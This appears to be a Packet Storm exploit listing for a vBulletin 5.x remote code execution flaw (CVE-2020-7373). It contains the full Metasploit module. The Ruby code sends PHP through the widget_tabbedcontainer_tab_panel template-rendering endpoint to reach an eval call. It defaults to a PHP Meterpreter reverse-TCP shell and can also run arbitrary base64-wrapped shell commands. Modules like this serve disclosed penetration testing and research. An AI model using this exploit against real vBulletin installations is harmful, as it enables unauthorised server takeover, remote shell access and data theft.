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vBulletin 5.x Remote Code Execution

vBulletin 5.x Remote Code Execution
Posted Aug 13, 2020
Authored by Zenofex | Site metasploit.com

This Metasploit module exploits a logic bug within the template rendering code in vBulletin 5.x. The module uses the vBulletin template rendering functionality to render the widget_tabbedcontainer_tab_panel template while also providing the widget_php argument. This causes the former template to load the latter bypassing filters originally put in place to address CVE-2019-16759. This also allows the exploit to reach an eval call with user input allowing the module to achieve PHP remote code execution on the target. This module has been tested successfully on vBulletin version 5.6.2 on Ubuntu Linux.

tags | exploit, remote, php, code execution
systems | linux, ubuntu
advisories | CVE-2019-16759, CVE-2020-7373
SHA-256 | 1b0222ba8ccc40d3c85308ce0622667517301180b99d1570ccc4c4ea8d918333

vBulletin 5.x Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

HttpFingerprint = { method: 'GET', uri: '/', pattern: [/vBulletin.version = '5.+'/] }

def initialize(info = {})
super(
update_info(
info,
'Name' => 'vBulletin 5.x /ajax/render/widget_tabbedcontainer_tab_panel PHP remote code execution.',
'Description' => %q{
This module exploits a logic bug within the template rendering code in vBulletin 5.x.
The module uses the vBulletin template rendering functionality to render the
'widget_tabbedcontainer_tab_panel' template while also providing the 'widget_php' argument.
This causes the former template to load the latter bypassing filters originally put in place
to address 'CVE-2019-16759'. This also allows the exploit to reach an eval call with user input
allowing the module to achieve PHP remote code execution on the target. This module has been
tested successfully on vBulletin version 5.6.2 on Ubuntu Linux.
},
'Author' => [
'Zenofex <zenofex[at]exploitee.rs>' # (@zenofex) PoC and Metasploit module
],
'References' => [
['URL', 'https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/'],
['CVE', '2020-7373']
],
'DisclosureDate' => '2020-08-09',
'License' => MSF_LICENSE,
'Platform' => ['php', 'unix', 'windows'],
'Arch' => [ARCH_CMD, ARCH_PHP],
'Privileged' => true,
'Targets' => [
[
'Meterpreter (PHP In-Memory)',
'Platform' => 'php',
'Arch' => [ARCH_PHP],
'Type' => :php_memory,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'DisablePayloadHandler' => false
}
],
[
'Unix (CMD In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/generic',
'DisablePayloadHandler' => true
}
],
[
'Windows (CMD In-Memory)',
'Platform' => 'windows',
'Arch' => ARCH_CMD,
'Type' => :windows_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/generic',
'DisablePayloadHandler' => true
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'The URI of the vBulletin base path', '/']),
OptEnum.new('PHP_CMD', [true, 'Specify the PHP function in which you want to execute the payload.', 'shell_exec', ['shell_exec', 'exec']])
])

end

def cmd_payload(command)
"echo #{datastore['PHP_CMD']}(base64_decode('#{Rex::Text.encode_base64(command)}')); exit;"
end

def execute_command(command)
response = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/ajax/render/widget_tabbedcontainer_tab_panel'),
'encode_params' => true,
'vars_post' => {
'subWidgets[0][template]' => 'widget_php',
'subWidgets[0][config][code]' => command
}
})
if response && response.body
return response
end

false
end

def check
rand_str = Rex::Text.rand_text_alpha(8)
received = execute_command(cmd_payload("echo #{rand_str}"))
if received && received.body.include?(rand_str)
return Exploit::CheckCode::Vulnerable
end

Exploit::CheckCode::Safe
end

def exploit
print_status("Sending #{datastore['PAYLOAD']} command payload")
case target['Type']
when :unix_cmd, :windows_cmd
cmd = cmd_payload(payload.encoded)
vprint_status("Generated command payload: #{cmd}")

received = execute_command(cmd)
if received && (datastore['PAYLOAD'] == "cmd/#{target['Platform']}/generic")
print_warning('Dumping command output in body response')
if received.body.empty?
print_error('Empty response, no command output')
return
end
print_line(received.body.to_s)
end

when :php_memory
vprint_status("Generated command payload: #{payload.encoded}")
execute_command(payload.encoded)
end
end
end
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